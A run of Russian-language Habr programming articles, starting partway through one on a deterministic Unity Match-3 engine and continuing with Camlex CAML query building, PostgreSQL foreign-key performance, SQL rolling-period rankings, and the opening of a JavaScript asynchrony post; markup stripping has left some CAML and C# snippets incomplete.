m3.OnDestroyBlocked += OnDestroyBlocked;
m3.OnNextZoneSwitch += OnNextZoneSwitch;
m3.OnNextFieldSwitch += OnNextFieldSwitch;
m3.OnComboEnd += OnComboEnd;
...
}
```
Детермированность — что это?
----------------------------
Если движок детерминирован, то вы:
* Получаете возможность ***воспроизводимого реплея***;
* Можете ***контролировать сложность*** Match-3 — например, геймдизайнер сможет подобрать разные сиды с упрощенным и нормальным геймплеем, чтобы подыгрывать игроку в зависимости от тех или иных условий.
Одним из самых популярных способов реализации детерминированности является Random Seed — его-то мы и использовали изначально.
**Random Seed** — это некое число, которым параметризуется рандомизатор. Во время сессии игрока все обращения к рандомизатору будут возвращать некую псевдо-случайную последовательность чисел. В следующих игровых сессиях обращения к рандомизатору, использующему одинаковый Random Seed, будут возвращать идентичную последовательность чисел.
### Разработка через тесты
Как я уже упоминал, изначально у нас было требование, что любой функционал, который реализуется в ядре, покрывается тестами. Используем мы для этого **Unity Test Runner** — это среда, которая позволяет выполнять тесты как группами, так и по отдельности.
Приведем пример простого тест-кейса, в котором мы тестируем влияние гравитации на фишки:
```
public void TestSimpleGravityFall() {
var sim = new M3Sim(4, 2);
sim.SpawnAt(new M3Pos(0,1), new M3Chip(2));
sim.SpawnAt(new M3Pos(1,1), new M3Chip(2));
sim.SpawnAt(new M3Pos(2,0), new M3Chip(2));
sim.SpawnAt(new M3Pos(3,1), new M3Chip(2));
Assert.AreEqual(
@"
--2-
22-2
",
sim.ToString());
sim.TickUntilIdle();
Assert.AreEqual(
@"
----
2222
",
sim.ToString());
}
```
Здесь мы:
* создаем объект симуляции;
* расставляем фишки;
* проверяем, что они находятся в определенных позициях;
* тикаем нашу симуляцию, пока она не перейдет в состояние покоя – *TickUntilIdle;*
* проверяем, что фишка, которая находилась выше других, упала и находится с ними в одном ряду.
Подобных тестов у нас перевалило уже за несколько тысяч.
Скрин из Unity Test Runner Кроме того, реплей позволил нам предсказуемо повторять ошибки с тестовой Android-фермы, подробнее о которой я уже рассказывал [здесь](https://habr.com/ru/company/vk/blog/579210/). Если коротко, то каждую ночь мы стартуем все наши уровни на десяти устройствах. Эти тесты позволяют производить замеры по проходимости уровней, по памяти и FPS. Отчеты об ошибках приходят в Slack. Таким образом, у нас появляется возможность:
* посмотреть реплеи с ошибками;
* понять, что произошло;
* оперативно все исправить.
### Первый дебаговый UI
Первое время разработкой занимался один человек: не было ни художника, ни верстальщика — но был дебаговый UI в Unity. Через пару недель все это пусть примитивно, но уже работало.
**Предварительные итоги** были следующие:
1. *Симуляция работала с дискретным перемещением фишек*. Все вычисления были целочисленными: фишки перемещались за один тик между ячейками, у них отсутствовало промежуточное положение в пространстве. Из-за этого не было недетерминированных float-вычислений, над которыми нужно запариваться.
2. Дебаговый UI был играбелен, тесты работали отлично и подтверждали валидность модели. Казалось, что теперь надо было лишь прикрутить красивую визуализацию к этой модели. Однако...
**...как только у нас в руках появился первый реальный UI, начались проблемы.
На видео видно, что каждая фишка притормаживает при прохождении над ячейками под воздействием гравитации. Причина оказалась проста: отсутствие промежуточного положения фишек в пространстве и дискретное перемещение. Из-за крупных «тиков» фишка могла находиться либо в одной ячейке, либо в соседней, но никак не между ними. Пробовать это исправить красиво только средствами визуализации довольно сложно, поэтому мы поступили иначе.
***Что мы сделали:***
1. Ввели промежуточное положение фишек в пространстве между ячейками;
2. Эмпирически подобрали значение в 20 Hz: симуляция стала чаще тикать в единицу времени;
3. Сделали так, чтобы представление интерполировало модель с максимальной частотой кадров.
Следующая проблема была в том, что промежуточное положение фишек в пространстве мы решили реализовывать при помощи float — но, как известно, float-математика плохо дружит с детерминированностью и на разном железе дает разные результаты. В итоге мы остановились на стандартном решении — **Fixed Point Math**, в основе которого — целочисленные вычисления.
Разумеется, Fixed Point Math тоже есть свои недостатки:
* страдает точность;
* она не столь быстрая на железе в сравнении с float;
* ограниченный функционал: add, mul, sqrt, abs, cos, sin, atan.
Но учитывая то, что мы все же не шутер делаем, мы поняли, что с этим вполне можно мириться. Поэтому, недолго погуглив, мы нашли реализацию на [Stack Overflow](https://stackoverflow.com/questions/605124/fixed-point-math-in-c/616015), внесли в нее косметические правки и остались вполне довольны.
```
public struct FInt
{
// Create a fixed-int number from parts.
// For example, to create 1.5 pass in 1 and 500.
// For 1.005 this would 1 and 5.
public static FInt FromParts( int PreDecimal, int PostDecimal = 0)
...
}
```
Эта реализация еще удобна тем, что она неявно переопределяет основные арифметические операторы, поэтому прежний код вычислений практически не переписывался. К примеру, ниже я привел код, который вычисляет работу гравитации, и выглядит он так же, как математика с использованием Unity-векторов:
```
var fall_dir = chip.fall_target - chip.fpos;
var fall_dirn = fall_dir.Normalized();
var new_fpos = chip.fpos + (fall_dirn * chip.fall_velocity * fixed_dt);
var new_fall_dir = chip.fall_target - new_fpos;
chip.fall_velocity += FALL_ACCEL * fixed_dt;
if(chip.fall_velocity > MAX_FALL_VELOCITY)
chip.fall_velocity = MAX_FALL_VELOCITY;
chip.fpos = new_fpos;
```
В связи с тем, что симуляция «тикает» с фиксированной частотой 20 кадров в секунду, образуя «подрагивания» кадра, нам необходимо было вводить ***интерполяцию на стороне представления***. На видео наглядно видно, как это работает: до и после.
Без интерполяции:
С интерполяцией:
Кроме того, когда я это все прикручивал к визуалу, выяснилась еще одна вещь: ***хотя симуляция живет отдельно от визуала, она обязана резервировать некоторое время на различные взаимодействия*** ***на стороне представления***. Например, фишка не может мгновенно визуально исчезнуть после получения урона, поэтому симуляция выделяет определенное количество фиксированных тиков на то, чтобы фишка «умерла». В течение этого времени представление вольно визуализировать процесс исчезновения фишки как ему угодно:
```
void DoDamage(M3Chip c, M3DamageType damage_type) {
Error.Assert(c.life > 0);
c.SetLife(c.life - 1);
c.damage_sequence_ticks = (int)(EXPLODE_TIME / FIXED_DT);
OnDamage(c, damage_type);
}
void TickChip(M3Chip c) {
...
if(c.damage_sequence_ticks > 0) {
--c.damage_sequence_ticks;
if(c.damage_sequence_ticks == 0) {
if(c.life == 0)
c.is_dead = true;
}
...
}
```
Скриптинг частной логики
------------------------
Для скриптинга мы используем BHL, и все основные события из симуляции пробрасываются в скрипты: различные эффекты, визуальные красоты, озвучка и прочее осуществляются уже там. Например, ниже в коде скрипта в ответ на событие приземления фишки стартует «пружина» красивого подергивания и проигрывается саунд-эффект:
Для реализации разного рода фишек — например, бомб, — можно было пойти по пути введения разных типов классов. Однако подобное решение довольно ригидно и не очень расширяемо.
Поэтому мы пошли другим путем — и ввели понятие ***активации***. Это функционал, который можно проассоциировать с каким-либо типом фишки. Так, на примере ниже активация связывается с типом фишки **14**, и при тапе на такую фишку вокруг нее происходит разрушение соседних фишек.
При наличии такой реализации уже можно было создавать разные виды «активаций» в скриптах на BHL. Ниже представлен тот же самый код, что и до этого, но уже на BHL: во время активации стартует функция, которая по заданному паттерну разрушает фишки вокруг себя.
### Комплексный функционал – Жук
Рассмотрим теперь более сложную по сравнению с обычными фишками логику. Например, у нас есть фишка «жук» — особый тип бомбы, который выполняет нетривиальный *протяженный по времени* функционал после активации.
Чтобы это реализовать, понадобилось завести различные **таск-менеджеры** — как на уровне симуляции, которые тикают с ее частотой, так и на уровне представления — с частотой рендеринга.
Обычно, когда перед Unity-программистами возникает необходимость реализации подобных таск-менеджеров, они это реализуют при помощи **Unity Coroutines**. Они по-своему хороши:
* работают из коробки;
* у них понятная программная модель;
однако:
* ими неудобно «дирижировать»;
* нет четкого контроля за временем жизни.
Но в связи с тем, что у нас уже был прикручен BHL, где есть так называемые **ноды**, которые позволяют сделать все вышесказанное с более удобном виде, в своем проекте мы решили использовать именно их. Да, это in-house решение, все еще находящееся в альфе, но для нас выбор был очевиден.
Если разобрать на составляющие логику выполнения «жука», можно выделить следующие этапы.
***На уровне симуляции***:
1. Целевая фишка **помечается** как недоступная;
2. По истечение определенного времени помеченная фишка **уничтожается**.
Параллельно отрабатывается ***представление***, где реализована вся «красота»:
1. Эффект взлета жука;
2. Пролет по траектории;
3. Взрыв.
Так «жук» выглядит в скрипте на BHL:
Зеленая секция кода отвечает за симуляцию, красная — за представление. Здесь мы стартуем два таска: на симуляцию и представление, соответственно. Эти таски тикают с разной частотой и синхронизируются при помощи специального канала. Подобный паттерн был заимствован нами из Go.
В редакторе можно посмотреть, как отрабатывается логика симуляции и представления:
В отладочной зоне симуляции в нижней части экрана видно, что фишка просто помечается и потом уничтожается, а сверху в зоне представления виден визуал и все эффекты.
### Комплексный функционал — Большая бомба
По этому же принципу у нас устроены и другие фишки. Еще один пример — «Большая бомба», которая не только взрывает фишки вокруг себя, но и задевает те, что стоят после них.
В целом, она схожа с «жуком»:
В секции симуляции происходит следующее: стартует волна взрыва по определенной траектории. В красной секции срабатывает необходимая логика представления. Все это согласуется между собой уже знакомым нам паттерном синхронизационного канала.
Приятные бонусы
---------------
### Воспроизводимый реплей
Теперь мы наконец-то добрались до воспроизводимого реплея. Как его реализовать?
1. Записываем Random Seed;
2. При каждом вводе от игрока фиксируем:
* номер тика симуляции,
* тип ввода и аргументы,
* чек-сумму состояния поля, чтобы удостовериться, что нет расхождения.
Этого достаточно для воспроизведения.
Ниже я покажу пример геймплейной сессии и ее визуализации:
Что мы здесь видим? Стартует сессия игры. Игрок активно взаимодействует с игрой некоторое время. Останавливаем игру и включаем сессию реплея, которая была записана автоматически. Стартует специальный дебаговый UI, где можно пройтись по шагам и увидеть, что происходило на каждом этапе, — это очень удобно.
Реплей может сохраняться как в текстовом, так и в визуальном виде. Обычно мы используем текстовый: это бинарные данные в base64 формате, что особенно удобно для пересылки по почте и мессенджерам. В визуальном виде сохраняется последний скриншот поля в PNG с вшитым кодом реплея.
### Отключение визуала от симуляции
Как только получилось все правильно разделить, мы, помимо всего прочего, смогли сделать «честную» перемотку симуляции для получения наград в конце уровня и внедрить быструю проверку уровней ботом.Это такая знакомая всем игрокам в Match-3 штука, когда после прохождения уровня возникает определенная секвенция действий, которую хочется пропустить: взрываются бомбы, получаются награды, начисляются очки и тому подобное.
```
public void SkipM3Rewarding(UIM3 ui) {
DetachUIFromModel(ui);
while(!m3.IsIdle())
m3.Tick();
AttachUIToModel(ui);
}
```
Здесь мы отключаемся от UI, тикаем, пока симуляция не придет в состояние покоя, и после этого снова к ней присоединяемся.
Обратите внимание: после появления Джейн, нашей главной героини, пропускается весь «фейерверк», но при этом в симуляции все честно отрабатывается и происходит честный подсчет всех коинов с последующим награждением. И все это выполняется моментально.
Кроме того, отключение симуляции от визуала и детерминированность позволили нам сделать быстрого бота для базовых проверок работы геймдизайнеров. Вот так это выглядит в редакторе:
Допустим, геймдизайнер создает новый уровень и хочет протестировать его на проходимость. Он стартует специального бота, который, используя несколько десятков разных сидов, подсчитывает на основе своих эвристик проходимость уровня. По окончании выполнения бота можно посмотреть статистику прохождения с разными графиками.
Выводы
------
Детерминированная симуляция, скриптинг частной логики и разделение симуляции и визуала — это хорошо. Нехорошо было то, что ко всему этому нужно привыкать, это требует определенной «ломки шаблонов» и дисциплины, однако все это окупается. И, конечно, мы планируем задействовать эту схему в новых тайтлах, где требуется довольно сложное взаимодействие — а вот для небольших проектов типа гиперказуалок такие трудозатраты были бы излишни. | https://habr.com/ru/post/592537/ | null | ru | null |
# Camlex 3.2: реверс-инжиниринг CAML и добавление условий к строковым запросам в Sharepoint с помощью лямбда выражений
Некоторое время назад вышел очередной релиз нашего проекта с открытым исходным кодом [Camlex.Net](http://camlex.codeplex.com/). В версию 3.2 была добавлена достаточно интересная функциональность, о которой я хотел бы рассказать в этой статье.
Сначале несколько слов о том, что такое Camlex и как он помогает в разработке. Если вы работаете с Sharepoint, то скорее всего сталкивались с необходимостью писать CAML запросы. CAML (Collaborative Application Markup Language) — специальный язык, используемый в Sharepoint для различных целей. Одно из его применений — написание Sql-подобных запросов для выборки данных из листов и библиотек документов. Например, для того, чтобы выбрать все элементы из списка, в поле Title которых указано значение «Meeting», а в Description — «Sharepoint», нужно использовать следующий запрос:
```
Meeting
Sharepoint
```
Если вам понадобится добавить больше условий к запросу, вам придется перестраивать все Xml-дерево (в CAML элементы And и Or могут иметь только 2 операнда). Кроме того, если вы работаете со строками, компилятор не помогает вам, отлавливая ошибки на этапе компиляции.
С помощью Camlex вы можете написать этот запрос, используя лямбда выражения на C#:
```
string query = Camlex.Query()
.Where(x => (string)x["Title"] == "Meeting" && (string)x["Description"] == "Sharepoint").ToString();
```
Кроме этого в Camlex-е много полезных вещей для прикладных разработчиков. Больше деталей можно посмотреть в другой статье на Хабре, которая была опубликована около 2-х лет назад, когда мы выпустили первую версию проекта (мы — это я и [Владимир Тимашков](https://twitter.com/#!/vtimashkov)): [Использование лямбд для построения CAML-запросов в SharePoint'е](http://habrahabr.ru/post/82787/), а также в моем блоге статьи с меткой Camlex.Net: <http://sadomovalex.blogspot.fi/search/label/Camlex.NET>.
Теперь непосредственно к теме поста. Около полугода назад мы добавили достаточно нетривиальную функциональность в проект: реверс-инжиниринг CAML-а. Она позволяет разбирать строковые запросы и содавать на их основе дерево выражений (expression tree). С помощью реверс-инжиниринга мы запустили бесплатный онлайн сервис [http://camlex-online.org](http://camlex-online.org/), с помощью которого можно конвертировать строковые CAML-запросы в C# код. Т.е. получился Camlex наоборот. Если интересны детали, генерация C# кода из дерева выражений сделана с помощью другого проекта с открытым кодом [ExpressionToCode](http://code.google.com/p/expressiontocode/) (правда немного допиленного нами).
Недавно мы получили несколько запросов: разработчики спрашивали, можно ли добавлять дополнительные условия к существующим CAML-запросам? Задача показалась мне интересной и с учетом того, что у нас уже есть реверс-инжиниринг, вполне выполнимой. В версию 3.2 была добавлена эта функциональность. Теперь можно использовать Camlex вместе с инструментами, которые работают с обычными строковыми запросами, расширять их с помощью Camlex-а и передавать результат назад в виде строки.
Давайте посмотрим пример. Представим, что у нас есть следующий запрос:
```
Sharepoint
```
он вернет нам элементы с заголовком «Sharepoint». Допустим, что нам надо добавить еще одно условие к запросу, чтобы также получить элементы с заголовком «Office». Теперь это можно сделать так:
```
string query = Camlex.Query().WhereAny(existingQuery, x => (string)x["Title"] == "Office").ToString();
```
т.е. просто передаем строковый запрос и новое условие в виде лямбда выражения. Результат будет следующим:
```
Sharepoint
Office
```
Можно также добавлять сразу несколько условий к более сложным строковым запросам. Вот список методов, которыми был расширен интерфейс IQuery:
```
public interface IQuery
{
// ...
IQuery WhereAll(string existingWhere, Expression> expression);
IQuery WhereAll(string existingWhere, IEnumerable>> expressions);
IQuery WhereAny(string existingWhere, Expression> expression);
IQuery WhereAny(string existingWhere, IEnumerable>> expressions);
IQuery OrderBy(string existingOrderBy, Expression> expr);
IQuery OrderBy(string existingOrderBy, Expression> expr);
IQuery OrderBy(string existingOrderBy, IEnumerable>> expressions);
IQuery GroupBy(string existingGroupBy, Expression> expr);
IQuery GroupBy(string existingGroupBy, Expression> expr);
}
```
Т.е. можно расширять не только условия запросов (WhereAll и WhereAny), но и OrderBy и GroupBy. Также можно расширять ViewFields, но эти методы находятся в другом интерфейсе, т.к. не являются частью общей цепочки вызовов при конструировании запроса.
Рассмотрим более сложный пример. Добавим к строковому запросу, который мы получили выше, сразу два условия: выбрать также элементы, в которых число участников больше 1 и статус не пустой:
```
string existingQuery =
"" +
" " +
" " +
" " +
" Sharepoint" +
" " +
" " +
" " +
" Office" +
" " +
" " +
"";
var query = Camlex.Query().WhereAny(existingQuery,
x => (int)x["Participants"] > 1 && x["Status"] != null).ToString();
```
В результате получим:
```
1
Sharepoint
Office
```
Т.е. Camlex берет всю работу по формированию достаточно сложного CAML-запроса на себя.
В заключение хотелось сказать, что Camlex — это проект, который развивается из запросов сообщества. Если у вас есть идеи и предложения по добавлению новой функциональности, пишите их на сайте проекте в разделе [Обсуждения](http://camlex.codeplex.com/discussions). Стараемся отвечать на все вопросы и по мере возможностей добавлять новую функциональность. | https://habr.com/ru/post/146313/ | null | ru | null |
# PostgreSQL Antipatterns: когда мешает внешний ключ
[Внешние ключи](https://ru.wikipedia.org/wiki/%D0%92%D0%BD%D0%B5%D1%88%D0%BD%D0%B8%D0%B9_%D0%BA%D0%BB%D1%8E%D1%87) (foreign keys) - мощный и удобный механизм контроля логической целостности данных в базе. Но он бывает не только лишь полезен, и может неплохо пригрузить вашу БД.
Внимательный взгляд на план запроса поможет избежать многих проблем - как при чтении из базы, так и при вставке в нее.
Традиционно, начнем с самой простой ситуации - пара табличек, одна на другую ссылается:
```
CREATE TABLE tblpk(
k
integer
PRIMARY KEY
);
CREATE TABLE tblfk(
k
integer
REFERENCES tblpk -- эквивалентно tblpk(k), поскольку k - PK
ON DELETE CASCADE -- "ничейные" записи нам не нужны
, v
integer
);
```
Наполним их некоторыми данными:
```
INSERT INTO tblpk(k)
SELECT
generate_series(1, 1e3); -- [1..1000]
INSERT INTO tblfk(k, v)
SELECT
(random() * (1e3 - 1))::integer + 1 -- random = [0..1]
, (random() * 1e6)::integer
FROM
generate_series(1, 1e6);
```
Медленный SELECT
----------------
А теперь попробуем самым примитивным запросом, через `JOIN`, для каждой записи `tblpk` из первого десятка найти максимальное значение `tblfk.v`:
```
SELECT
k
, max(v)
FROM
tblpk
JOIN
tblfk
USING(k)
WHERE
k <= 10
GROUP BY
k;
```
И... `Parallel Seq Scan` **по миллиону записей** `tblfk` - это совсем не то, чего бы хотелось:
Вычитываем миллион записейК счастью, теперь, в продолжение темы про [подсказки об упущенных индексах](https://habr.com/ru/post/659889/), наш [сервис визуализации explain.tensor.ru](https://explain.tensor.ru/) **научился различать не только условия на самом узле чтения** (`Seq Scan`), но и стоящем выше него `Hash Join`.
В [нашем примере](https://explain.tensor.ru/archive/explain/3959820cbf77723f9050288ad752bc25:0:2022-05-11) каждый из 3 параллельных воркеров "свои" 333333 записи `tblfk` превращал в `Hash Join` в 3164 результирующую запись:
```
-> Hash Join (actual time=1.635..57.796 rows=3164 loops=3)
Hash Cond: (tblfk.k = tblpk.k)
Buffers: shared hit=8867
-> Parallel Seq Scan on tblfk (actual time=1.506..24.588 rows=333333 loops=3)
Buffers: shared hit=8850
```
А если условие фильтрации для `tblfk` у нас получается известно (`tblfk.k = tblpk.k`), то нам ничто не мешает порекомендовать создать подходящий индекс:
Hash Join + Seq Scan = indexНам рекомендовано создать индекс:
```
CREATE INDEX CONCURRENTLY "~tblfk-67ed26fd"
ON tblfk(k);
```
Запомним это, но пока не будем его накатывать.
А заодно запомним, что PostgreSQL **не создает автоматически индексы для внешних ключей**.
UPDATE/DELETE "тупит"... на триггере?
-------------------------------------
Вполне вероятно, что у вас в базе уже есть подобная табличка, но выборки вы из нее делаете крайне редко и их неспешность списываете на большой обрабатываемый объем - какие-нибудь логи, записи изменение, действий пользователя, ...
Но вот нам захотелось удалить (или даже обновить, если речь идет о старых версиях PostgreSQL) запись из основной таблицы:
```
DELETE FROM
tblpk
WHERE
k = 1000;
```
Удаление по foreign keyОу... подсказка сразу [акцентирует наше внимание](https://explain.tensor.ru/archive/explain/e932f01341c42d11a056b409ef5f648d:0:2022-05-11), что 99.9% всего времени ушло вовсе не на выполнение запроса, а на `Trigger for constraint tblfk_k_fkey`.
Помните `ON DELETE CASCADE` в начале? Вот это он и есть - отработка внешнего ключа через триггер.
Давайте включим [auto\_explain](https://postgrespro.ru/docs/postgresql/14/auto-explain) и пристально посмотрим в лог сервера на аналогичном запросе:
```
LOAD 'auto_explain';
SET auto_explain.log_analyze = 'on';
SET auto_explain.log_buffers = 'on';
SET auto_explain.log_min_duration = 0;
SET auto_explain.log_nested_statements = 'on';
SET auto_explain.log_timing = 'on';
SET auto_explain.log_triggers = 'on';
DELETE FROM
tblpk
WHERE
k = 999;
```
```
2022-05-11 15:02:44.196 MSK [17696] LOG: duration: 264.759 ms plan:
Query Text: DELETE FROM ONLY "public"."tblfk" WHERE $1 OPERATOR(pg_catalog.=) "k"
Delete on tblfk (cost=0.00..16925.00 rows=996 width=6) (actual time=264.757..264.757 rows=0 loops=1)
Buffers: shared hit=6252 dirtied=1279
-> Seq Scan on tblfk (cost=0.00..16925.00 rows=996 width=6) (actual time=0.181..143.802 rows=1016 loops=1)
Filter: (999 = k)
Rows Removed by Filter: 998497
Buffers: shared hit=4425 dirtied=467
2022-05-11 15:02:44.196 MSK [17696] CONTEXT: SQL statement "DELETE FROM ONLY "public"."tblfk" WHERE $1 OPERATOR(pg_catalog.=) "k""
```
Собственно, вот он и есть - [виновник наших тормозов](https://explain.tensor.ru/archive/explain/ce619d06cdba9e083b706efc85094e39:0:2022-05-11) - "`Seq Scan` на миллион":
При удалении читаем миллион записейЛогично, что к нему рекомендовано создание того же индекса - таки создадим же его:
```
CREATE INDEX CONCURRENTLY "~tblfk-67ed26fd"
ON tblfk(k);
```
Ну, как там наше удаление теперь?
```
DELETE FROM
tblpk
WHERE
k = 1;
```
Удаление по индексированному FKА вот теперь [стало все отлично](https://explain.tensor.ru/archive/explain/254e6869b0b1e6f3627a0459b76b919b:0:2022-05-11) - **7ms вместо 95ms**, поскольку удаление из `tblfk` теперь пользуется нашим индексом:
```
2022-05-11 15:13:16.566 MSK [17696] LOG: duration: 3.166 ms plan:
Query Text: DELETE FROM ONLY "public"."tblfk" WHERE $1 OPERATOR(pg_catalog.=) "k"
Delete on tblfk (cost=12.14..2399.04 rows=996 width=6) (actual time=3.151..3.151 rows=0 loops=1)
Buffers: shared hit=1550 dirtied=291
-> Bitmap Heap Scan on tblfk (cost=12.14..2399.04 rows=996 width=6) (actual time=0.149..0.760 rows=531 loops=1)
Recheck Cond: (1 = k)
Heap Blocks: exact=508
Buffers: shared hit=511
-> Bitmap Index Scan on "~tblfk-67ed26fd" (cost=0.00..11.89 rows=996 width=0) (actual time=0.092..0.092 rows=531 loops=1)
Index Cond: (k = 1)
Buffers: shared hit=3
2022-05-11 15:13:16.566 MSK [17696] CONTEXT: SQL statement "DELETE FROM ONLY "public"."tblfk" WHERE $1 OPERATOR(pg_catalog.=) "k""
```
INSERT совсем небыстр
---------------------
Теперь-то у нас все хорошо? С индексом `SELECT` работает по нашим таблицам теперь быстро, `UPDATE/DELETE` - тоже, а как там поживает `INSERT`?
Восстановим удаленные нами записи в основной таблице:
```
INSERT INTO tblpk VALUES(1),(998),(999),(1000);
```
И докинем еще тысячу записей в дополнительную:
```
INSERT INTO tblfk(k, v)
SELECT
(random() * (1e3 - 1))::integer + 1
, (random() * 1e6)::integer
FROM
generate_series(1, 1e3);
```
Как-то все не очень быстро стало. И если мы теперь заглянем в лог сервера, то увидим массу похожих записей:
```
2022-05-11 15:23:00.005 MSK [17696] LOG: duration: 0.296 ms plan:
Query Text: SELECT 1 FROM ONLY "public"."tblpk" x WHERE "k" OPERATOR(pg_catalog.=) $1 FOR KEY SHARE OF x
LockRows (cost=0.28..8.30 rows=1 width=10) (actual time=0.292..0.292 rows=1 loops=1)
Buffers: shared hit=5 dirtied=1
-> Index Scan using tblpk_pkey on tblpk x (cost=0.28..8.29 rows=1 width=10) (actual time=0.017..0.017 rows=1 loops=1)
Index Cond: (k = 361)
Buffers: shared hit=3
2022-05-11 15:23:00.005 MSK [17696] CONTEXT: SQL statement "SELECT 1 FROM ONLY "public"."tblpk" x WHERE "k" OPERATOR(pg_catalog.=) $1 FOR KEY SHARE OF x"
```
То есть **при вставке каждой нашей записи сервер идет в основную таблицу**, находит запись с искомым ключом (по индексу, конечно) и вешает на нее `FOR KEY SHARE`-блокировку, чтобы никто в ней не успел сменить значение первичного ключа, пока мы тут вставляем остальное.
Неудивительно, что в [плане запроса](https://explain.tensor.ru/archive/explain/85365422ea87f45e8aa1caa3f30e6608:0:2022-05-11) мы увидим все тот же несчастный триггер, обслуживающий foreign key, который и занял 90% всего времени:
Вставка с проверкой и блокировкой foreign keyОтсюда вывод: если вам необходимо **вставлять много и быстро в PostgreSQL**, то это вполне реально, но внешними ключами придется пожертвовать.
Подробнее о способах оптимизации записи в PostgreSQL можно почитать в статье ["Пишем в PostgreSQL на субсветовой: 1 host, 1 day, 1TB"](https://habr.com/ru/post/497008/) или расшифровке моего доклада ["Массовая оптимизация запросов PostgreSQL"](https://habr.com/ru/post/487380/). | https://habr.com/ru/post/665118/ | null | ru | null |
# SQL HowTo: рейтинг-за-интервал
Одним из наиболее частых требований-"хотелок" бизнеса является построение всяких разных рейтингов - **"самые оборотистые клиенты", "самые продаваемые позиции", "самые активные сотрудники"**, … - любимая тема разных дашбордов.
Например, в нашем решении [для автоматизации ресторанов и кафе **Presto**](https://sbis.ru/presto) очень популярен такой:
Но просто "самые" за весь доисторический период обычно неинтересны - продал ты 3 года назад вагон валенок, и теперь он у тебя в "самых" продажах вечно. Поэтому обычно хочется видеть **"топ" на каком-то ограниченном последнем интервале** - например, "за последний год" (точнее, за последние 12 календарных месяцев).
Традиционно, есть два подхода к этой задаче: запрос по требованию по "сырым" данным или предварительная агрегация. И если "просто посчитать" такой отчет по первичке - упражнение для SQL-новичка, но очень "тяжелое" для производительности СУБД, то вариант сделать так, чтобы он строился практически мгновенно при большом количестве активных аккаунтов независимых бизнесов, как у нас в [СБИС](https://sbis.ru/all_services), **без необходимости пересчитывать агрегированную статистику каждого 1-го числа месяца** судорожно по всем клиентам - интересная задача.
Структура хранения
------------------
Для начала поймем, что "быстро" может быть только в том случае, когда мы можем просто **пройти по "верхушке" нужного индекса** и извлечь искомые TOP-10 записей - без всяких суммирований и пересортировок.
То есть для решения задачи нам достаточно таблицы с единственным индексом (рассмотрим только вариант сортировки по сумме, для количества все будет аналогично):
```
CREATE TABLE item_stat(
item -- товар
integer
, sum
numeric(32,2)
);
CREATE INDEX ON item_stat(sum DESC);
```
Наполнять ее данными мы можем легко и просто - **инкрементом в триггере** при проведении продажи. Но как все-таки сделать эффективное "вычитание" данных при завершении месяца?..
#### "Нужно больше золота"
Чтобы быстро что-то вычесть, нужно четко понимать, что именно.
В нашем случае - это продажи за 12-й месяц "назад" при пересечении границы. То есть наступил июнь - из общих счетчиков нужно вычесть все данные за июнь прошлого года. А для этого их нам нужно хранить отдельно от "годичных", из-за чего таблица принимает структуру:
```
CREATE TABLE item_stat(
interval_id -- 0 - текущие счетчики, 202001 - январь 2020, 202002 - февраль, ...
integer
, item
integer
, sum
numeric(32,2)
, UNIQUE(interval_id, item)
);
CREATE INDEX ON item_stat(interval_id, sum DESC);
```
Момент обновления
-----------------
Чтобы понять, что вот прямо сейчас надо "вычесть" какой-то месяц, достаточно оперировать единственным дополнительным **параметром** типа "месяц последней актуализации рейтинга продаж". Хранить его можно даже в служебной записи в этой же таблице (если это не помешает Foreign Key, который вы можете захотеть добавить на `item`):
```
INSERT INTO item_stat(
interval_id
, item
, sum
)
VALUES
(0, 0, 202012) -- служебный ключ (0, 0), значение - 2020'12 вместо суммы
ON CONFLICT(interval_id, item)
DO UPDATE SET
sum = EXCLUDED.sum; -- всегда заменяем значение
```
Теперь при операции над продажей (отгрузка/аннулирование) вызываем, можно асинхронно, инкремент/декремент сразу **для двух записей - "годичной" и текущего месяца**:
```
INSERT INTO item_stat(
interval_id
, item
, sum
)
VALUES
(202001, 1, 100) -- + в рейтинг за январь 2020
, ( 0, 1, 100) -- + в текущий рейтинг
ON CONFLICT(interval_id, item)
DO UPDATE SET
sum = item_stat.sum + EXCLUDED.sum; -- всегда добавляем в сумму
```
Если текущий **месяц операции разошелся с месяцем из параметра, асинхронно** стартуем пересчет "годовых" значений, вычитая показатели за ставшие избыточными месяцы, и переактуализируем значение параметра:
```
-- "новый" месяц актуальности
WITH next AS (
SELECT 202101
)
-- предыдущий месяц актуальности
, prev AS (
SELECT
sum::integer
FROM
item_stat
WHERE
(interval_id, item) = (0, 0)
)
-- все продажи за период, ставший неактуальным, в разрезе товаров
, diff AS (
SELECT
item
, sum(sum) sum
FROM
item_stat
WHERE
interval_id BETWEEN (TABLE prev) - 100 AND (TABLE next) - 100
GROUP BY
1
)
UPDATE
item_stat dst
SET
sum = dst.sum - diff.sum
FROM
diff
WHERE
(dst.interval_id, dst.item) = (0, diff.item);
UPDATE
item_stat
SET
sum = 202101
WHERE
(interval_id, item) = (0, 0);
```
При построении отчета
---------------------
Если текущий месяц совпадает с месяцем из параметра, то все значения в "годичном" интервале актуальны - просто выводим топ по индексу:
```
SELECT
*
FROM
item_stat
WHERE
interval_id = 0 -- текущий "годичный" интервал
ORDER BY
sum DESC
LIMIT 10;
```
Если не совпадает (то есть наступил новый месяц, но продаж еще не было) - **синхронно** пересчитываем, как было описано выше (немного потупит, но всего один раз за месяц) и потом показываем, как описано выше. | https://habr.com/ru/post/536696/ | null | ru | null |
# Как я завел дружбу с асинхронностью в JavaScript
JavaScript встречает разработчиков асинхронностью можно сказать чуть ли не с порога. Начинается все с DOM-событий, ajax, таймерами и библиотечными методами, связанными с анимацией (например jQuery-методы fadeIn/fadeOut, slideUp/slideDown). В целом, это все не очень сложно и разобраться с асинхронностью на этом этапе не представляет проблем. Однако, как только мы переходим к написанию более или менее сложных приложений, в которых комбинируется все вышеуказанное, асинхронный поток может сильно затруднить понимание происходящего в коде. Цепочки асинхронных действий, например, анимация > ajax-запрос > инициализация -> анимация, создают достаточно сложную архитектуру, которая не подчиняется строгому направлению «снизу верх». В этой статье я намерен рассказать про свой опыт преодоления трудностей связанных с асинхронным JS.
Помню, на первых порах, одним из самых удивительных моментов в JavaScript для меня было следующее:
```
for(var i=0; i<3; i++){
setTimeout(function(){
console.log(i);
}, 0);
}
```
Удивительно было увидеть:
```
3
3
3
```
Вместо ожидаемых:
```
0
1
2
```
*Нудное вступление*
